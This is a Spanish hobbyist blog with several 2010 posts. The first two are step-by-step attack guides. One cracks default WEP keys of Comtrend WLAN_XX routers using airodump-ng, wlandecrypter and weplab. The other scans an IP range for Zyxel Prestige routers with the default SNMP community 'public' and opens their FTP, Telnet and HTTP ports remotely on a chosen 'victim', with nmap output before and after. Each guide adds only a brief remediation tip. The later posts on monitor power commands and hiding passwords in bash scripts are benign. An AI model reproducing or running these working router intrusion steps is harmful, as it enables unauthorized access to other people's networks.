También nos será necesario el software weplab y la suite aircrack-ng
apt-get install weplab aircrack-ng

Ahora que ya lo tenemos todo instalado comenzamos el proceso:

airmon-ng start wlan0 --> Pone en modo monitor la subinterfaz mon0
airodump-ng mon0 --> Miramos a ver que se ve por mon0
airodump-ng --write "captura_wlan" --channel "CANAL" --bssid "BSSID" mon0 --> Capturamos el tráfico de la Wifi que nos interesa.

Cuando tengamos 4 o mas paquetes en el campo data podemos parar la captura presionando Ctrl+C

Ahora es el momento de usar wlandecrypter.
wlandecrypter "BSSID" "ESSID" | weplab --key 128 -y --bssid "BSSID" captura_wlan.cap

Esto debería de sacarnos la password en ASCII y en Hexadecimal:
Right KEY found!!
Passphrase was --> C0030DAA46F05
Key: 43:30:30:33:30:44:41:41:34:36:46:30:35

En este caso se puede ver que se trata de un Comtrend:C0030 y el ESSID es WLAN_05: 05 por fuerza bruta hemos sacado los caracteres DAA46.

NOTA: Cambiad la password por defecto!!!

jueves, septiembre 16, 2010

SNMP por defecto Prestige P-660HW-D1, P-660R-D1

Hola amigos, en esta ocasión traigo material de primera ;), se trata de como modificar reglas de filtrado en los routers Zyxel Prestige P-660HW-D1, P-660R-D1 por SNMP.

Estos equipos vienen configurados con una community por defecto tanto para lectura como para escritura, de esta forma se puede llegar a configurar el dispositivo por SNMP de forma remota.

Para empezar vamos a bajarnos y compilar la herramienta braa, se trata de un scanner SNMP.

wget http://s-tech.elsat.net.pl/braa/braa-0.82.tar.gz
tar xvzf braa-0.82.tar.gz

Si tenemos un sistema Linux basta con "make"
make
cp braa /usr/bin

Ahora que ya tenemos braa en nuestro sistema, pedimos un OID a un rango de direcciones, este OID es para pedir el nombre del sistema a los equipos de Zyxel(cada fabricante emplea su propia MIB).

braa public@88.18.11.1-88.18.11.254:161:.1.3.6.1.2.1.1.1.0

Ahora solo falta seleccionar a la victima.

Comprobamos que los puertos estan cerrados:
nmap -p 80,21,23 88.22.xyz.100

Starting Nmap 4.53 ( http://insecure.org ) at 2009-06-22 19:12 CEST
Interesting ports on 100.Red-88-22-xyz.staticIP.rima-tde.net (88.22.xyz.100):
PORT STATE SERVICE
21/tcp filtered ftp
23/tcp filtered telnet
80/tcp filtered http

Ahora los abrimos.

Para los modelos P-660HW-D1:
braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i81 --> Abrimos el puerto 80

braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i22 --> Abrimos el puerto 21

braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i24 --> Abrimos el puerto 23

Se puede deducir que sigue la lógica de puerto+1, queremos abrir el puerto 80 --> i"puerto+1" --> i80+1 --> i81

Comprobamos que realmente estan abiertos:
nmap -p 80,21,23 88.22.xyz.100

Starting Nmap 4.53 ( http://insecure.org ) at 2009-06-22 19:09 CEST
Interesting ports on 100.Red-88-22-xyz.staticIP.rima-tde.net (88.22.xyz.100):
PORT STATE SERVICE
21/tcp open ftp
23/tcp open telnet
80/tcp open http

Para dejarlo como antes:
braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i80

braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i21

braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i23

Comprobamos que vuelven a estar cerrados.

nmap -p 80,21,23 88.22.xyz.100

Starting Nmap 4.53 ( http://insecure.org ) at 2009-06-22 19:12 CEST
Interesting ports on 100.Red-88-22-xyz.staticIP.rima-tde.net (88.22.xyz.100):
PORT STATE SERVICE
21/tcp filtered ftp
23/tcp filtered telnet
80/tcp filtered http

Ya veis parece increible pero puedo dar fe de que funciona ;)

En el modelo P-660R-D1

braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i81
braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i22
braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.6=i24

braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i80
braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i21
braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.6=i23

Para remediar toda esta historia habrá que configurar SNMP con alguna community menos conocida, jejeje

La gente no suele cambiar la password por defecto de los routers caseros ya que deshabilitan el acceso en la interfaz WAN, pero de este modo BANG!! estamos dentro.

lunes, septiembre 13, 2010

Apagar monitor desde la linea de comandos

Cuando pasa algún tiempo mi portátil deja la pantalla en negro que no es lo mismo que apagada. Esto se puede remediar apagando de verdad la pantalla ahorrando algo de batería, estos son los comandos.

  • xset dpms force off --> Apaga el monitor
  • xset dpms force on --> Enciende el monitor
  • xset dpms force standby --> Pone en standby el monitor
  • xset dpms force suspend --> Suspende el monitor

La verdad es que apagarlo, suspenderlo y ponerlo
en standby aparentemente hace lo mismo.

lunes, septiembre 06, 2010

Usuario Linux.

Dejo aquí el enlace de una página web en la que nos podremos registrar como usuario Linux, de esta forma se pueden realizar estadisticas para saber cuantos usuarios hay, que distribuciones se usan o que kernel emplean.

Bastante interesante ;)

lunes, agosto 23, 2010

Ocultar password en scripts Bash

Ya que me he puesto con el tema de scripting voy a comentar un truquillo que seguro que le va a gustar a mas de uno.
Se trata de como deshabilitar el echo de nuestro terminal para poder introducir passwords sin que aparezcan en pantalla.

Es tan sencillo como:
#!/bin/bash
stty_save=$(stty -g) ---> Guardamos el estado de nuestro terminal
stty -echo --> Deshabilitamos el echo
echo Introduzca Password:
read secret
stty $stty_save --> Reestaablecemos la configuración inicial
echo Password introducido:
echo $secret